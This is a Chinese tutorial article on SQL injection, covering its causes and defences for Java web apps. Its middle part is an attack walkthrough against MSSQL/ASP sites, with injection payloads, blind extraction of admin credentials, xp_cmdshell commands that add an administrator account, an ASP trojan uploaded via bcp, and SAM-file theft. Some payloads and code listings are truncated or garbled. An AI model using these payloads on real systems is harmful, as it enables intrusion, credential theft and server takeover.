sql注入攻击详解 sql注入解决办法|江阴雨辰互联

2023年7月14日发(作者：)

前段时间，在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞，作为这么大的一个项目，要说有漏洞也不是没可能，但其漏洞确是一些菜鸟级程序员才会犯的错误。其实sql注入漏洞就是一个。作为一个菜鸟小程序员，我对sql注入的东西了解的也不深入，所以抽出时间专门学习了一下。现在把学习成果分享给大家，希望可以帮助大家学习。下面我们就来看一下。

一、什么是sql注入呢？

所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限，之后他们就可以拿到网站数据库中所有的数据，恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨，当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库

二、sql注入产生原因

sql注入攻击是利用是指利用设计上的漏洞，在目标服务器上运行Sql语句以及进行其他方式的攻击，动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于java数据库连接JDBC而言，SQL注入攻击只对Statement有效，对PreparedStatement是无效的，这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。

如验证用户是否存在的SQL语句为：

用户名'and pswd='密码

如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1

将绕过验证，但这种手段只对只对Statement有效，对PreparedStatement无效。相对Statement有以下优点：

1.防注入攻击

2.多次运行速度快

3.防止数据库缓冲区溢出

4.代码的可读性可维护性好

这四点使得PreparedStatement成为访问数据库的语句对象的首选，缺点是灵活性不够好，有些场合还是必须使用Statement。

三、sql注入原理

下面我们来说一下sql注入原理，以使读者对sql注入攻击有一个感性的认识，至于其他攻击，原理是一致的。 SQL注射能使攻击者绕过认证机制，完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称，它是访问数据库的事实标准。目前，大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样，SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话，用户数据就有可能被解释成命令，这样的话，远程用户就不仅能向Web应用输入数据，而且还可以在数据库上执行任意命令了。

SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑，故也被称为直接注入式攻击法。二是一种间接的攻击方法，它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中，以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候，先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串，因此攻击者常常用注释标记“—”来终止注入的字符串。执行时，系统会认为此后语句位注释，故后续的文本将被忽略，不背编译与执行。

四．SQL注入攻击的简单示例：

这里我们举一个比较常见的例子来简要说明一下sql注入的原理。假如我们有一个users表，里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。比如："select id from users where username = '"+username +"' and password = '" + password +"'" 这里的username和password都是我们存取从web表单获得的数据。下面我们来看一下一种简单的注入，如果我们在表单中username的输入框中输入' or 1=1-- ，password的表单中随便输入一些东西，假如这里输入123.此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = '123'，我们来看一下这个sql，因为1=1是true，后面 and password = '123'被注释掉了。所以这里完全跳过了sql验证。

SQL注入攻击的总体思路是：

1.发现SQL注入位置；

2.判断后台数据库类型；

3.确定XP_CMDSHELL可执行情况

4.发现WEB虚拟目录

5. 上传ASP木马；

6.得到管理员权限；

一、SQL注入漏洞的判断一般来说，SQL注入一般存在于形如：HTTP:///?id=XX等带有参数的asp或者动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入。如果程序员没有安全意识，不进行必要的字符过滤，存在SQL注入的可能性就非常大。

为了全面了解动态网页回答的信息，首选请调整IE的配置。把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚，以下以HTTP:///?p=YY为例进行分析，YY可能是整型，也有可能是字符串。

1、整型参数的判断

当输入的参数YY为整型时，通常中SQL语句原貌大致如下：

select * from 表名 where 字段=YY，所以可以用以下步骤测试SQL注入是否存在。

①HTTP:///?p=YY’(附加一个单引号)，此时中的SQL语句变成了

select * from 表名 where 字段=YY’，运行异常；

②HTTP:///?p=YY and 1=1, 运行正常，而且与HTTP:///?p=YY运行结果相同； ③HTTP:///?p=YY and 1=2, 运行异常；

如果以上三步全面满足，中一定存在SQL注入漏洞。

2、特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。

①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；

②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；

③ASCII码法：可以把输入的部分或全部字符全部用ASCII码代替，如U=chr(85),a=chr(97)等，ASCII信息参见附二；

二、区分数据库服务器类型

一般来说，ACCESS与SQL－SERVER是最常用的数据库服务器，尽管它们都支持T－SQL标准，但还有不同之处，而且不同的数据库有不同的攻击方法，必须要区别对待。

1、利用数据库服务器的系统变量进行区分

SQL－SERVER有user,db_name()等系统变量，利用这些系统值不仅可以判断SQL-SERVER，而且还可以得到大量有用信息。如： ① HTTP:///?p=YY and user>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前连接到数据库的用户名

②HTTP:///?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前正在使用的数据库名；

2、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限，而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句：

①HTTP:///?p=YY and (select count(*) from sysobjects)>0

②HTTP:///?p=YY and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE，则第一条，一定运行正常，第二条则异常；若是ACCESS则两条都会异常。

3、 MSSQL三个关键系统表

sysdatabases系统表：Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。 dbid //表示库的ID，dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库。用select * from abases 就可以查询出所有的库名。

Sysobjects：SQL-SERVER的每个数据库内都有此系统表，它存放该数据库内创建的所有对象，如约束、默认值、日志、规则、存储过程等，每个对象在表中占一行。以下是此系统表的字段名称和相关说明。

Name，id，xtype，uid，status：分别是对象名，对象ID，对象类型，所有者对象的用户ID,对象状态。

对象类型(xtype)。可以是下列对象类型中的一种：

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束（类型是 K）

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表 UQ = UNIQUE 约束（类型是 K）

V = 视图

X = 扩展存储过程

当xtype='U' and status>0代表是用户建立的表，对象名就是表名，对象ID就是表的ID值。

用: select * from ects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

syscolumns ：每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有：

name ，id， colid ：分别是字段名称，表ID号，字段ID号，其中的 ID 是刚上我们用sysobjects得到的表的ID号。

用: select * from umns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限，且_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省

1、HTTP:///?p=YY&nb ... er>0 执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。 2、HTTP:///?p=YY ... me()>0 执行异常但可以得到当前连接的数据库名。

3、HTTP:///?p=YY；p_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“—”号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

4、HTTP:///?p=YY；p_cmdshell “net localgroup administrators aaa /add”--

把刚刚增加的帐户aaa加到administrators组中。

5、HTTP:///?p=YY；backuup database 数据库名 to disk='c:' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

6、通过复制CMD创建UNICODE漏洞

HTTP:///?p=YY;exe ... _cmdshell “copy c: c:” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

四、发现WEB虚拟目录

只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。

一是根据经验猜解，一般来说，WEB虚拟目录是：c:inetpubwwwroot; D:inetpubwwwroot; E:inetpubwwwroot等，而可执行虚拟目录是：c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。

二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；

先创建一个临时表：temp

HTTP:///?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下来：

（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：

HTTP:///?p=YY;insert temp ... _availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中：

HTTP:///?p=YY;insert into temp(i ... _subdirs 'c:';--

（3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：

HTTP:///?p=YY;insert into temp(id,num1) exec _dirtree 'c:';--

这样就可以成功的浏览到所有的目录（文件夹）列表：

如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：

HTTP:///?p=YY;insert into temp(id) exec ... nbsp;'type c:';-- 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:'

浏览temp就可以看到文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。

当然，如果xp_cmshell能够执行，我们可以用它来完成：

HTTP:///?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:';--

HTTP:///?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c: *.asp /s/a';--

通过xp_cmdshell我们可以看到所有想看到的，包括W3svc

HTTP:///?p=YY;insert into temp(id) exec _cmdshe ... enum w3svc'

但是，如果不是SA权限，我们还可以使用

HTTP:///?p=YY;insert into temp(id,num1) exec _dirtree 'c:';--

注意：

1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：

HTTP:///?p=YY;delete from temp;--

2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)

HTTP:///?p=YY and (select top& ... nbsp; )>0 得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则

HTTP:///?p=YY and (select top 1 id from ... ere id

not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。

五、上传ASP木马

所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：

1、利用WEB的远程管理功能

许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。

因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。

用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

A、注入法：

从理论上说，认证网页中会有型如：

select * from admin where username='XXX' and passWord='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：

select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。

B、猜解法：

基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。

l 猜解所有数据库名称

HTTP:///?p=YY and (select count(*) from abases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。

以下假设得到的数据库名是TestDB。

l 猜解数据库中用户名表的名称

猜解法：此方法就是根据个人的经验猜表名，一般来说，user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

HTTP:///?p=YY and (select count(*) from .表名)>0 若表名存在，则工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。

读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。

当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：

①HTTP:///?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称，并与整数进行比较，显然工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则

②HTTP:///?p=YY and (select top 1 name from ects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。

根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。

l 猜解用户名字段及密码字段名称

admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。

猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断

HTTP:///?p=YY and (select count(字段名) from )>0 “select count(字段名) from 表名”语句得到表的行数，所以若字段名存在，则工作正常，否则异常。如此循环，直到猜到两个字段的名称。

读取法：基本的实现方法是

HTTP:///?p=YY and (select ... me(object_id('admin'),1) from ects)>0 。select top 1 col_name(object_id('admin'),1) from ects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。

l 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有：

ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。

HTTP:///?p=YY and (select top&n ... nbsp;from )=X(X=1,2，3,4，5，… n，username为用户名字段的名称，admin为表的名称)，若x为某一值i且运行正常时，则i就是第一个用户名的长度。如：当输入

HTTP:///?p=YY and (select top ... e) from )=8时运行正常，则第一个用户名的长度为8 HTTP:///?p=YY and (sel ... ascii(substring(username,m,1)) from )=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入

HTTP:///?p=YY and (sel ... ascii(substring(username,3,1)) from )=80时运行正常，则用户名的第三位为P(P的ASCII为80)；

HTTP:///?p=YY and (sel ... ascii(substring(username,9,1)) from )=33时运行正常，则用户名的第9位为!(!的ASCII为80)；

猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经md5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。

简单法：猜用户名用

HTTP:///?p=YY and (select top 1 ... where username>1) , flag是admin表中的一个字段，username是用户名字段，此时工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。

猜用户密码：HTTP:///?p=YY and (select top 1&nb ... where pwd>1) , flag是admin表中的一个字段，pwd是密码字段，此时工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。

HTTP:///?p=YY;update set pwd=' ... where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)

用同样的方法当然可把密码改原来的值。

2、利用表内容导成文件功能

SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。

命令行格式如下：

bcp "select * from text..foo" queryout c: –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个的木马)

六、得到系统的管理员权限

ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：

上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；

复制到scripts，人为制造UNICODE漏洞；

下载SAM文件，破解并获取OS的所有用户名密码；

等等，视系统的具体情况而定，可以采取不同的方法。后记

正如上文所描述的，SQL 漏洞危害非常的巨大，但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

1、代码要对输入的参数做到充分的过滤，并尽可能得考虑极端情况

2、错误信息尽可能的少，否则无关的人看不懂而有心的人就会提起兴趣

3、不要以管理员的身份运行服务器进程

4、某些情况下，net 命令对于攻击者而言就是“微软牌”的木马

5、严格控制远程登录访问者的来源

6、如果可能的情况下，不是很推荐使用 Windows 作为服务器操作系统

我们了解了sql注入原理和sql注入过程，今天我们就来了解一下sql注入的解决办法。怎么来解决和防范sql注入，由于本人主要是搞java web开发的小程序员，所以这里我只讲一下有关于java web的防止办法。其实对于其他的，思路基本相似。下面我们先从web应用程序的角度来看一下如何避免sql注入：

1、普通用户与系统管理员用户的权限要有严格的区分。

如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句，那么是否允许执行呢?由于Drop语句关系到数据库的基本对象，故要操作这个语句用户必须有相关的权限。在权限设计中，对于终端用户，即应用软件的使用者，没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码，由于其用户权限的限制，这些代码也将无法被执行。故应用程序在设计的时候，最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

2、强迫使用参数化语句。

如果在编写SQL语句的时候，用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话，那么就可以有效的防治SQL注入式攻击。也就是说，用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反，用户的输入的内容必须进行过滤，或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施，可以杜绝大部分的SQL注入式攻击。不过可惜的是，现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

3、加强对用户输入的验证。

总体来说，防治SQL注入式攻击可以采用两种方法，一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中，有比较多的用户输入内容验证工具，可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容，只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入，防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型，强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出，对于防治注入式攻击有比较明显的效果。

4、多多使用SQL Server数据库自带的安全参数。

为了减少注入式攻击对于SQL Server数据库的不良影响，在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中，工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。

5、多层环境如何防治SQL注入式攻击?

在多层应用环境中，用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝，并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施，对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层认为其输入已通过验证，则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境，在防止注入式攻击的时候，需要各层一起努力，在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。

6、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

使用专业的漏洞扫描工具，可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点，而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下，企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序，它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具，可以帮助管理员发现SQL注入式漏洞，并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞，那么攻击者也就无从下手了。

上面主要是介绍了在web应用程序中对sql注入的大体解决思路，下面我们就根据java web应用程序的特征来具体说明一下如何解决在java web应用程序中的sql注入问题。

1.采用预编译语句集，它内置了处理SQL注入的能力，只要使用它的setXXX方法传值即可。

使用好处：

(1).代码的可读性和可维护性.

(2).PreparedStatement尽最大可能提高性能.

(3).最重要的一点是极大地提高了安全性.

view plaincopyprint? 1.

3. 14. 25.

原理：sql注入只对sql语句的准备(编译)过程有破坏作用，而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题.

2.使用正则表达式过滤传入的参数

正则表达式：

private String CHECKSQL = “^(.+)sands(.+)|(.+)sor(.+)s$”;